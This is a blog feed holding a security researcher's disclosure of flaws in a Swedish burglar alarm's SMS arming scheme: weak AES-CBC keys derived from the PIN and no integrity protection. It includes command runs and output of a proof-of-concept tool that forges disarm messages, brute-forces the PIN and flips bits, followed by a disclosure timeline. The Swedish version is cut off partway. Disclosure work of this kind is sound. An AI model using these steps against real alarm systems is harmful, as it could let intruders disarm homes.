joakimbech.comhttps://jyx.github.io/2020-01-05T15:01:00+01:00Alert Alarm SMS exploit - English version2020-01-02T12:01:00+01:002020-01-05T15:01:00+01:00Joakim Bechtag:jyx.github.io,2020-01-02:/alert-alarm-exploit.html<p>For Swedish translation of the article please go <a class="reference external" href="alert-alarm-exploit-se.html">here</a>.</p>
<div class="section" id="tl-dr">
<h2>tl;dr;</h2>
<p>For less tech savvy people or people just bored about all the details, this
tl;dr; and the <a class="reference internal" href="#summary">summary</a> section at the end should be enough to read to get an
understanding of the issues.</p>
<ul>
<li><p class="first">As of today, 2020-01-01, the issues presented here still haven't been fixed
even though initial report date was July 3rd 2019.</p>
</li>
<li><p class="first"><a class="reference external" href="https://www.alertalarm.se">Alert Alarm</a> is a Swedish company selling burglar alarms (with various
possibilities for …</p></li></ul></div><p>For Swedish translation of the article please go <a class="reference external" href="alert-alarm-exploit-se.html">here</a>.</p>
<div class="section" id="tl-dr">
<h2>tl;dr;</h2>
<p>For less tech savvy people or people just bored about all the details, this
tl;dr; and the <a class="reference internal" href="#summary">summary</a> section at the end should be enough to read to get an
understanding of the issues.</p>
<ul>
<li><p class="first">As of today, 2020-01-01, the issues presented here still haven't been fixed
even though initial report date was July 3rd 2019.</p>
</li>
<li><p class="first"><a class="reference external" href="https://www.alertalarm.se">Alert Alarm</a> is a Swedish company selling burglar alarms (with various
possibilities for extensions) to home owners. At one of their pages [<a class="reference external" href="https://www.alertalarm.se/hemlarm/garanti-och-funktion.html#1">1</a>],
they are saying that: "Our burglar alarms for home owners communicate using
an encrypted channel primarily using GSM and secondarily using SMS".
Apparently there is also some collaboration with <a class="reference external" href="https://www.verisure.se/">Verisure</a> since the people
that I've been in contact with after reporting the issue to Alert Alarm are
coming from Verisure.</p>
<ul>
<li><p class="first"><strong>Added 2020-01-03</strong>: An update and clarification regarding Verisure's role
in this, since some people have misunderstood and misinterpreted some of the
information in this article. Also, people working at Verisure have told me
that the two burglar alarms solutions, i.e., Alert Alarms and Verisure's
solution have nothing in common. Note however that these statements are
<strong>not</strong> coming directly from Verisure, but instead from people who claim
that they're working for Verisure.</p>
<p>So, what have this to do with Verisure otherwise? To start with Alert Alarm
is a subsidiary to Verisure (see <a class="reference external" href="https://www.merinfo.se/foretag/Alert-Alarm-AB-5566748975/2k2aqzz-hp1t/styrelse-koncern">merinfo.se</a>). After my report last summer
I've <strong>only</strong> been in contact with Verisure people (people where their email
address ends with @verisure.com). If it is Verisure employees or Alert Alarm
employees that have been working with mitigations I cannot tell, likewise I
cannot say anything about the differences and similarities between their
different solutions. But what I definitely know is that I've only been in
contact with people from Verisure.</p>
<p>But, to repeat and clarify, <strong>this report is only about Alert Alarms burglar
alarm and have nothing to do with Verisures burglar alarm</strong>. If (and when)
Alert Alarm and/or Verisure want to add information, confirm or make other
clarifications I'm going to update this article accordingly. My goal is to
give facts and not distort or give wrong and misleading information. In
other words, please reach out to my if you find information in this article
not accurate so I can fix it by using your references and comments. Note
however that neither Alert Alarm nor Verisure to this date have denied that
the information in this report is wrong and what can be read here is more or
less the same as sent to them in July last year.</p>
</li>
</ul>
</li>
<li><p class="first">It all started out one morning in June 2019 when I noticed that when turning
of the alarm from the App, a SMS was generated where the content was a long
(hex-)string with random characters. After doing some reverse engineering I
found out that Alert Alarm have multiple weaknesses in their SMS
implementation that are used when turning on/off alarms from their Alert Alarm
app (tested on Android). The weaknesses can be summarised in:</p>
<ul class="simple">
<li>Crypto algorithm in use is plain AES-CBC which is <a class="reference external" href="https://en.wikipedia.org/wiki/Malleability_(cryptography)">malleable</a>.</li>
<li>No integrity protection of the encrypted messages.</li>
<li>Heavily reduced key space, from 128-bits to 9999 keys.</li>
<li>Doesn't use any device unique values/properties in the data being sent to
the Alert Alarm server.</li>
<li>No key derivation function in use (KDF).</li>
<li>No key exchange protocol in use (like Diffie Hellman for example).</li>
</ul>
</li>
<li><p class="first">This makes the security of the implementation very fragile, since all it
takes for a rouge user is to get hold of a <strong>single</strong> SMS generated by the
Alert Alarm app to be able to gain access to someones house. I.e., when the
attacker got that he can easily figure out the code used to turn on/off the
burglar alarm. Using free services one can send <a class="reference external" href="https://www.google.com/search?q=send+spoofed+sms&oq=send+spoofed+sms">spoofed SMS</a> with manually
crafted data and then it's just to enter the victims house and no alarm will
go off. Alternatively a thief can break into the house and just simply enter
the code to turn off the alarm as the homeowner would do.</p>
</li>
<li><p class="first">On this page, one can find examples and a script that can decrypt Alert Alarm
SMSes and also create valid Alert Alarm SMSes. The script is also capable of
finding a key using a brute force attack and it's also possible to flip bits
to change the original intention of the SMS.</p>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="observation">
<h2>Observation</h2>
<p>As mentioned, this caught my attention when I noticed that when turning off an
active alarm (<tt class="docutils literal">ARMED_HOME</tt>) using the Android app, a SMS is created similar to
this (had to blur parts of it, otherwise anyone could figure out my own code by
just running the scripts presented here).</p>
<div class="align-center figure">
<img alt="SMS image" src="/images/alert/aa_initial_sms.png" />
</div>
<p>After spending the rest of the morning reverse engineering the app I could see
that the 64 bytes hex string is made up of two parts. The first part is the IV,
which is a random number (coming from <tt class="docutils literal">SHA1PRNG</tt>) and the second part is the
actual message.</p>
<div class="highlight"><pre><span></span> 32 bytes 32 bytes
+-----------+----------+
| IV | Message |
+-----------+----------+
</pre></div>
<p>It uses a 128-bit key, however the key used for encryption are made up of
strings like this:</p>
<div class="highlight"><pre><span></span>000000000000xxxx
</pre></div>
<p>Where "xxxx" is the pin code that is used to turn on and off the burglar alarm.
This means the key space is heavily reduced from 128-bits, to only 9999
combinations instead of 340282366920938463463374607431768211455 combinations as
it would have been if they had used a proper key!</p>
<p>The message it self is encrypted using plain <a class="reference external" href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_(CBC)">AES-CBC</a>, so no integrity
protection or anything. What that means is that although the SMS is encrypted
anyone can still modify it without the receiver noticing that. I'll talk more
about that further down in the examples about flipping bits (see the section:
"Flip a bit in the encrypted message").</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="message-format">
<h3>Message format</h3>
<p>The format of the decrypted message is as follows:</p>
<div class="highlight"><pre><span></span>Bytes: 1 1 1 2 1 2 2 2 2 2 = 16 bytes
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
|SMS Version| i | j | year | month-1 | day | hour | minute | user id | \x00\x00 |
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
(hex)
</pre></div>
<p>Here "<tt class="docutils literal">i</tt>" seems to represent the "<cite>alarm off (0)</cite>" and "<cite>alarm on (1)</cite>" and
"<tt class="docutils literal">j</tt>" is probably whether it is "<cite>armed home</cite>" or "<cite>armed away</cite>".</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
</div>
<div class="section" id="script">
<h2>Script</h2>
<p>On my GitHub page, you'll find a Python script (<a class="reference external" href="https://github.com/Jyx/alert_alarm_xploit/blob/master/aaxploit.py">aaxploit.py</a>) that I wrote as
a proof of concept script. With that script you can generate valid Alert Alarm
SMSes, brute force SMS to get the code to the burglar alarm and a couple of other
things that I'll go more into detail separately below. Calling the script with
no arguments lists all possible parameters. But to make it easier to follow
along, we've put together a couple of examples below.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="generate-a-sms-from-scratch">
<h3>Generate a SMS from scratch</h3>
<p>This creates a valid SMS message (hex string), i.e, a real usable string that
can be sent as an SMS and that will either turn on or turn off the alarm. "-p"
here is the code that you want to use. If you own an Alert Alarm system, then
you can try this, put your own and known code after "-p" and use either "--on"
or "--off" to arm or disarm the alarm. Then take the crafted SMS and send it as
an SMS to the alarm unit to attack.</p>
<p><strong>Added 2020-01-05</strong>: After getting feedback from other Alert Alert users, we
can conclude that there is no central SMS number, instead it seems like it's
main unit itself that receives the SMS directly.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py -e -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Msg: <span class="m">32303131393630333038343830310000</span>
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: encryption
<span class="o">[</span>INFO<span class="o">]</span>: Crafted SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
</pre></div>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="decrypt-a-sms-from-the-phone">
<span id="decrypt-sms"></span><h3>Decrypt a SMS from the phone</h3>
<p>As an example, take the crafted SMS from the example above (having that said,
copy a SMS string from a phone, generated by the Alert Alarm app works just as
well). In this example we already know the pin code to turn on/off the alarm,
so we provide that as a parameter.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: decryption
<span class="o">[</span>INFO<span class="o">]</span>: <span class="p">|</span> sms_v <span class="p">|</span> i <span class="p">|</span> j <span class="p">|</span> year <span class="p">|</span> month <span class="p">|</span> day <span class="p">|</span> hour <span class="p">|</span> minute <span class="p">|</span> user_id <span class="p">|</span>
<span class="o">[</span>INFO<span class="o">]</span>: <span class="m">2</span> <span class="m">0</span> <span class="m">1</span> <span class="m">19</span> 0x6 <span class="m">03</span> <span class="m">08</span> <span class="m">48</span> <span class="m">01</span>
</pre></div>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="brute-force-an-encrypted-sms">
<h3>Brute force an encrypted SMS</h3>
<p>Here we pretend that we <strong>don't</strong> know the key (i.e., the pin code to turn
on/off the alarm), but we somehow have gotten hold of the encrypted SMS. By
running the brute force attack we try to find the correct key and pin to turn
on/off the alarm. Due to the nature of how the message is encoded, this always
seems to work and since the key space is very small, it finds the key/pin in
less than a second.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -b
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: None <span class="o">(</span><span class="m">0000000000000000</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: bruteforce
<span class="o">[</span>INFO<span class="o">]</span>: <span class="o">(</span>Probably<span class="o">)</span> found the correct ...
<span class="o">[</span>INFO<span class="o">]</span>: encryption key: <span class="m">30303030303030303030303031323334</span>
<span class="o">[</span>INFO<span class="o">]</span>: pin: <span class="m">1234</span>
</pre></div>
<p>As we can see, we found the correct key/pin code! Note that the pin code is the
same as used on the real physical burglar alarm at the alarm owners house. I.e.,
if a thief breaks in, he can enter this pin code and the alarm never goes off.</p>
<div class="line-block" id="flip-bits">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="flip-a-bit-in-the-encrypted-message">
<h3>Flip a bit in the encrypted message</h3>
<p>Since AES-CBC is <a class="reference external" href="https://en.wikipedia.org/wiki/Malleability_(cryptography)">malleable</a>, we can flip a bit in the IV which will be directly
reflected on the decrypted message. I.e., a man in the middle can use this to
either change a message from "Turn on alarm" to a "Turn off alarm" or vice
versa. Notice that here one doesn't even have to decrypt the message, i.e, by
just taking the original message and flip a bit and use the modified SMS is
enough to turn off (or turn on) the alarm. In the example below we flip the
meaning of the "<tt class="docutils literal">i</tt>" bit.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b --flip <span class="m">112</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: None <span class="o">(</span><span class="m">0000000000000000</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: flip bits
<span class="o">[</span>INFO<span class="o">]</span>: Modified IV: d245e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Modified SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
</pre></div>
<p>If we take the "Modified SMS" and decrypt it, we can see that the "i" field has
been changed (from "0" to "1", compare with message above, see the section
"Decrypt a SMS from the phone").</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d245e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: decryption
<span class="o">[</span>INFO<span class="o">]</span>: <span class="p">|</span> sms_v <span class="p">|</span> i <span class="p">|</span> j <span class="p">|</span> year <span class="p">|</span> month <span class="p">|</span> day <span class="p">|</span> hour <span class="p">|</span> minute <span class="p">|</span> user_id <span class="p">|</span>
<span class="o">[</span>INFO<span class="o">]</span>: <span class="m">2</span> <span class="m">1</span> <span class="m">1</span> <span class="m">19</span> 0x6 <span class="m">03</span> <span class="m">08</span> <span class="m">48</span> <span class="m">01</span>
/<span class="se">\</span>
<span class="p">|</span>----- changed from <span class="m">0</span> to <span class="m">1</span>
</pre></div>
<p>Note that bit-flipping can be done to anything in the data, i.e., it would
probably work to trick the system by taking an old valid SMS created by the
Alert Alarm app and then just flip the date and/or hour bits and resend the
modified SMS.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
</div>
<div class="section" id="other-attacks">
<h2>Other attacks?</h2>
<ul class="simple">
<li>Is the Alert Alarm solution susceptible to <a class="reference external" href="https://en.wikipedia.org/wiki/Replay_attack">replay attacks</a>? Is is possible
to send the same message more than once?<ul>
<li>No it's not, sending the same SMS twice makes the main control unit say
"Fjärrkontroll, felkod 2". Also by adding for example +1 to minute still
doesn't work. So, probably Alert Alarm on the server side are checking
either a hash of all messages coming in and/or simply just check that the
data in the SMS isn't too old.</li>
</ul>
</li>
<li>Will the Alert Alarm server detect brute force attacks. I.e., can one send
9999 SMS in a short amount of time and thereby gain access to someones house?<ul>
<li>I haven't got this confirmed, but it's certainly something one easily could
try.</li>
<li><strong>Added 2020-01-05</strong>: Since other Alert Alarm users have helped confirming
that it's not a single number for SMSes going to a common server, this
attack in practice becomes infeasible, since it'd require too many SMSes to
be able to practically make an attack. However, don't mix up this brute
force attack with the brute force attack on the SMS (two different attacks).</li>
</ul>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="open-questions">
<h2>Open questions</h2>
<p>Why did Alert Alarm decide to use SMS from the app, when there already must be a
data connection with the app? This means that it probably works something like
this.</p>
<ul class="simple">
<li>The SMS is sent to the server.</li>
<li>The server decrypts the SMS, checks the parameters, record the action
and send out a request (using the data connection over GSM) to the home
owners main unit controlling the alarm.</li>
<li>When the alarm has been armed/disarmed, the Android app gets a
notification of the updated status.</li>
<li><strong>Added 2020-01-05</strong>: Since other Alert Alarm users have helped confirming
that there is no single SMS service, the reasoning above cannot be correct.
It's probably instead SMS -> Main unit -> Change status -> Inform Alert Alarm
server -> Notification in the app. But, it's impossible to tell whether this
is how it really works, I can just speculate on my own, Alert Alarm would need
to confirm.</li>
</ul>
<p>Why on earth use SMS at all? Doesn't all mobile phone / users have a data
connection in 2019?</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="questions-and-statements-on-forums-etc">
<h2>Questions and statements on forums etc</h2>
<p><strong>Added 2020-01-05</strong>: After going public with this people have started asking
questions directly to me and in forums etc, I will try to give my view and
answers to some of it here.</p>
<ul class="simple">
<li>Q: SMS is actually a feature, since there are areas without data coverage.<ul>
<li>A: I agree on that part. Living in a country where data coverage is very
good I maybe was too quick on that. However, if the company offer such a
service/feature then they must carefully architect the solution in a way
that it is secure and that man in the middle cannot make any sense out of
the data that is sent between the app and the one receiving the SMS.</li>
</ul>
</li>
<li>Q: Will the one making a brute force SMS attack get any notification when the
correct number has been found?<ul>
<li>A: No, it's just a regular SMS sent out, so in an attack one would send all
messages needed to cover the entire key space (9999 keys). However as stated
in other places in this article after the 2020-01-05 update, this brute
force attack will be practically infeasible since you'd need to brute force
the SMS phone number also.</li>
</ul>
</li>
<li>Q: A burglar alarm isn't at the end of the day that useful, at best it'll
put some stress on the thieves and maybe the thieves goes to the neighbors
with no burglar alarm instead of trying to get into your house.<ul>
<li>A: I think I mostly agree on that. If police and/or a guard would have shown
up within minutes after the alarm goes of, then it'd be really useful. But I
think most people with me knows that it can take quite a bit of time until
someone actually shows up. However today alarms have many other features
that can be useful to home owners, fire alarm, leaking water etc.</li>
</ul>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
<!-- summary_: -->
</div>
<div class="section" id="contact-with-alert-alarm-verisure">
<h2>Contact with Alert Alarm / Verisure</h2>
<ul class="simple">
<li><strong>July 3rd 2019</strong>: I'm reporting to the support page that I want to disclose a
security issue.</li>
<li><strong>July 9th 2019</strong>: Using a private Facebook message to Alert Alarm I once
again try to say that I have a security issue that I want to report.</li>
<li><strong>July 10th 2019</strong>:<ul>
<li>Alert Alarm responds at Facebook that they've sent my contact details to the
people developing the app.</li>
<li>Verisure's Information Security Manager try to contact me using first phone
and then email.</li>
<li>I send over the report (basically this blog post) together with proof of
concept scripts.</li>
</ul>
</li>
<li><strong>Augusti 12th 2019</strong>: Phone meeting with Verisure, I get a status update and
Verisure mentions that they need more time than standard 90-day disclosure
time, something that I'm fine with.</li>
<li><strong>October 2nd 2019</strong>: I reach out to Verisure asking for an update. Message is that
they are still working on a solution, testing "something" that should work and
that they soon will let me know more about it. I also ask about CVE number and
when we can go public with this. No answer to that.</li>
<li><strong>November 4th 2019</strong>: I reach out once again asking for an update.</li>
<li><strong>November 7th 2019</strong>: Verisure replies with more or less the same message as
October 2nd. Again promises to get back to me soon.</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="page-updates">
<h2>Page updates</h2>
<ul class="simple">
<li><strong>1:st January 2020</strong>: I'm cleaning up the write-up and publish all this. The
reason for doing it today is because today it's half a year ago since I
initially reported the issues to Alert Alarm. If they would have been serious
about this, it should all have been fixed by now and they should have
reconnected better with me.</li>
<li><strong>3:rd January 2020</strong>: Updating the article with clarification regarding Alert
Alarm's vs Verisure's role in this.</li>
<li><strong>5:th January 2020</strong>: Updating the article with additional information
regarding the SMS attack and a new section about questions that have been
asked on forums etc.</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="summary">
<h2>Summary</h2>
<p>The security of the solution relies on</p>
<ol class="arabic simple">
<li>the pin code and</li>
<li>the SMS senders phone number and</li>
<li>that no-one is able to get hold of the SMS sent.</li>
</ol>
<p>In fact, one can argue that <strong>the security only relies on "3"</strong>, since if one
gets hold of "3", then it's trivial to figure out "1", that is basically what
the script <a class="reference external" href="https://github.com/Jyx/alert_alarm_xploit/blob/master/aaxploit.py">aaxploit.py</a> does. "2" on the other hand is typically available
in phone books etc, i.e., it's usually not hard to figure out the phone numbers
to the owner of a house.</p>
<p>Alert Alarm seems to have tried to "lock" the SMS service to a set of users.
i.e., the first user have to add additional phone numbers before these people
can use the app. So at first glance, one might believe that it's only the
owners of these phone numbers who can send the SMS. But the fact is that there
are many services out there that allow you to send <a class="reference external" href="https://www.google.com/search?q=send+spoofed+sms&oq=send+spoofed+sms">spoofed SMS</a> so it looks
like they were sent from a certain phone number. I.e., it's totally possible to
craft a SMS using <a class="reference external" href="https://github.com/Jyx/alert_alarm_xploit/blob/master/aaxploit.py">aaxploit.py</a> and then use one of these services to send a
rouge SMS. I.e., any user can turn off the alarm without the alarm owner knowing
about it.</p>
<p><strong>Should the owners of this alarm be worried?</strong> Getting an SMS from the home
owner is probably a bit challenging, so it's probably a bit hard to actually do
the attack (don't leave your phone unattended!). On the other hand if Alert
Alarm <strong>doesn't</strong> notice brute force attacks on the receiving side of the SMS,
then it's fairly easy to put this attack into practice.</p>
<ul class="simple">
<li><strong>Added 2020-01-05</strong>: Since other Alert Alarm users have helped confirming
that it's not a single and common SMS number that receives the alarm SMSes,
the brute force attack where one needs to send multiple SMSes isn't
practically doable, since it'd require too many SMSes to be sent out. So my
conclusion is that Alert Alarm owners doesn't have to worry about that
particular attack, it's simply too complicated to put the attack in practice.
However, it should not be mixed with the brute force attack on the SMS to get
the pin code. That still works as described. I.e., a man in the middle can
figure out a home owners code to turn on/off the alarm. What we would like to
see is that the protocol is designed in such a way that the man in middle gets
<strong>no</strong> useful information out for the data sent between the phone and the
receiver of the data/SMS.</li>
</ul>
<p>No matter, the flaws identified are quite severe and gives an attacker several
ways to attack the system. Attacks that shouldn't be possible to do that easy on
a system meant to protect our homes. Me and the other customers of Alert Alarm
don't want our burglar alarms to have these kind of weaknesses. Right now it's
more <a class="reference external" href="https://en.wikipedia.org/wiki/Security_through_obscurity">Security by Obscurity</a> than real security.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="about-me">
<h2>About me</h2>
<p>I'm Joakim Bech, a guy who has been working with Security on embedded devices
for the last 12 years. I did the work above on my spare time, but otherwise I
head the security team at a company called <a class="reference external" href="https://www.linaro.org/">Linaro</a> where I've been working for
a little bit more than 6 years.</p>
</div>
Alert Alarm SMS exploit - Svensk version2020-01-02T12:01:00+01:002020-01-05T15:01:00+01:00Joakim Bechtag:jyx.github.io,2020-01-02:/alert-alarm-exploit-se.html<p>For English translation of the article please go <a class="reference external" href="alert-alarm-exploit.html">here</a>.</p>
<p>För mindre teknikintresserade personer eller för er som inte bryr sig mycket
om detaljerna räcker det förmodligen att läsa denna introduktion och sektionen
<a class="reference internal" href="#sammanfatting">Sammanfatting</a> sist i artikeln för att få ett hum om vad det rör sig om.</p>
<ul>
<li><p class="first">Testat idag 2020-01-01 så är det som presenteras här fortfarande ej åtgärdat,
dvs bristerna som nämns här finns fortfarande i Alert Alarms system trots att
det rapporterades till dem den 3:e Juli …</p></li></ul><p>For English translation of the article please go <a class="reference external" href="alert-alarm-exploit.html">here</a>.</p>
<p>För mindre teknikintresserade personer eller för er som inte bryr sig mycket
om detaljerna räcker det förmodligen att läsa denna introduktion och sektionen
<a class="reference internal" href="#sammanfatting">Sammanfatting</a> sist i artikeln för att få ett hum om vad det rör sig om.</p>
<ul>
<li><p class="first">Testat idag 2020-01-01 så är det som presenteras här fortfarande ej åtgärdat,
dvs bristerna som nämns här finns fortfarande i Alert Alarms system trots att
det rapporterades till dem den 3:e Juli 2019.</p>
</li>
<li><p class="first"><a class="reference external" href="https://www.alertalarm.se">Alert Alarm</a> är ett svenskt företag som säljer inbrottslarm till
privatpersoner och villaägare. På en av deras sidor kan man läsa [<a class="reference external" href="https://www.alertalarm.se/hemlarm/garanti-och-funktion.html#1">1</a>] att:
"våra hemlarm kommunicerar krypterat över GSM i första hand och med SMS i
andra hand". Utöver det verkar det som att det finns en koppling mellan Alert
Alarm och <a class="reference external" href="https://www.verisure.se/">Verisure</a> eftersom de personer jag varit i kontakt med efter
första rapportering kommer från Verisure.</p>
<ul>
<li><p class="first"><strong>Tillagt 2020-01-03</strong>: Ett förtydligande gällande Verisure's roll i det
hela eftersom vissa personer dels misstolkat informationen här, dels har
personer som jobbar på Verisure sagt att de två larm-lösningarna, dvs Alert
Alarms och Verisures, inte har något gemensamt. Notera dock ett dessa
uttalande <strong>inte</strong> kommer direkt ifrån Verisure utan från personer på forum
så säger sig jobba hos Verisure.</p>
<p>Vad har då detta att göra med Verisure i övrigt? Alert Alarm är ett
dotterbolag till Verisure (se <a class="reference external" href="https://www.merinfo.se/foretag/Alert-Alarm-AB-5566748975/2k2aqzz-hp1t/styrelse-koncern">merinfo.se</a>). Efter att jag hade rapporterat
detta i somras har jag <strong>enbart</strong> varit i kontakt med Verisure (personer
vars email slutar på @verisure.com). Om det är Verisure anställda eller
Alert Alarm anställda som jobbat med att försöka lösa
svagheterna/säkerhetshålen det vet jag inte, likaså vet jag inget om
skillnader eller likheter mellan deras lösningar. Men det jag vet är att jag
enbart varit i kontakt med folk från Verisure.</p>
<p>Men för att repetera och göra det extra tydligt, <strong>denna rapport rör
endast Alert Alarms larmlösning och rör inte Verisures larmlösning</strong>. Om
(och när?) Alert Alarm och/eller Verisure vill göra tillägg, bekräftelser
eller förtydligande, så kommer jag att uppdatera denna artikel. Mitt mål är
att ge fakta och inte förvränga eller ge felaktiga uppgifter. Med andra ord
vänligen hör av er om ni finner att det som står i denna artikel inte
stämmer eller är missvisande, så kommer jag att åtgärda det med era
referenser och kommentarer. Ingen ifrån vare sig Alert Alarm eller Verisure
har till dags datum dementerat det som står här och denna artikel är i
princip densamma som skickades till dem i Juli 2019.</p>
</li>
</ul>
</li>
<li><p class="first">Allt började med att jag en morgon i Juni 2019 märkte att när man larmar av
från Alert Alarms app så genereras ett SMS med en (hex-)sträng, dvs en 64
tecken lång sträng med siffror och bokstäver. Efter att jag gjort lite
"reverse engineering" av appen så hittade jag ett flertal säkerhetssvagheter
relaterat till deras sätt att larma på/av systemet från deras Android app.
Dessa svagheter kan summeras i:</p>
<ul class="simple">
<li>Krypteringen består av ren AES-CBC som är <a class="reference external" href="https://en.wikipedia.org/wiki/Malleability_(cryptography)">malleable</a> (hittar ingen bra
svensk översättning), vilket innebär att man kan ändra den krypterade texten
och det slår i sin tur på den dekrypterade texten.</li>
<li>Inget integritetsskydd på skickade krypterade meddelanden (SMS'en).</li>
<li>Kraftigt reducerad nyckelrymd, från 128-bitar till att enbart använda 9999
nycklar.</li>
<li>Använder inga enhetsunika egenskaper/värden tillsammans med data som skickas
till Alert Alarm servern.</li>
<li>Det används ingen KDF (Key Derivation Function), vilket förmodligen hade
varit önskvärt i ett sånt här scenario.</li>
<li>Det används inget nyckelutbytesprotokoll (likt Diffie Hellman t.ex.) för att
komma överens om en unik krypteringsnyckel.</li>
</ul>
</li>
<li><p class="first">Sammantaget gör detta att Alert Alarms system är ganska sårbart. Allt som
krävs från en illvillig person är att få tag på ett endaste krypterat
meddelande för att enkelt lista ut koden för att larma av ett hus. Antingen
kan man skicka ett manuellt skapat och fejkat "larma av SMS" (Google <a class="reference external" href="https://www.google.com/search?q=send+spoofed+sms&oq=send+spoofed+sms">spoofed
SMS</a>) som ser ut att komma från användaren. Eller kan en inbrottstjuv bryta
upp dörren och slå in koden under tiden som larmet räknar ner, dvs slå in
koden precis som ägaren till larmet skulle gjort.</p>
</li>
<li><p class="first">På resten av denna sida finns exempel och skript som kan dekryptera Alert
Alarm SMS, skapa giltiga Alert Alarm SMS, hitta den korrekta koden för att
larma av/på genom att göra en s.k. "bruteforce" attack. En sådan attack tar
mindre än en sekund att utföra på Alert Alarms system. Det är även möjligt att
vända på bitar så att ett meddelande får en annan betydelse än vad var menat
till att börja med.</p>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="observation">
<h2>Observation</h2>
<p>Som redan nämnt, detta fångade min uppmärksamhet när jag stängde av mitt hemlarm
via Alert Alarms Android app. Det skapades ett SMS enligt bilden nedan (jag har
suddat ut en del av meddelandet, annars kan vem som helst luska ut koden till
vårt hemlarm).</p>
<div class="align-center figure">
<img alt="SMS image" src="/images/alert/aa_initial_sms.png" />
</div>
<p>Efter att ha spenderat resten av morgonen med att "reverse engineera" SMS delen
i Alert Alarm appen kom jag fram till att den 64 byte långa hexsträngen består
av två delar. Den första delen är <a class="reference external" href="https://en.wikipedia.org/wiki/Initialization_vector">IV</a>'t som är en slumpmässig hexsträng (skapas
av <tt class="docutils literal">SHA1PRNG</tt>) och den andra delen är det faktiska meddelandet.</p>
<div class="highlight"><pre><span></span> 32 bytes 32 bytes
+-----------+----------+
| IV | Message |
+-----------+----------+
</pre></div>
<p>Krypteringsalgoritmen som används är <a class="reference external" href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_(CBC)">AES-CBC</a> med en 128-bitars nyckel. Dock
skall noteras att nyckeln är konstruerad så här:</p>
<div class="highlight"><pre><span></span>000000000000xxxx
</pre></div>
<p>Där är "xxxx" koden som används för att larma av/på hemlarmet. Med detta innebär
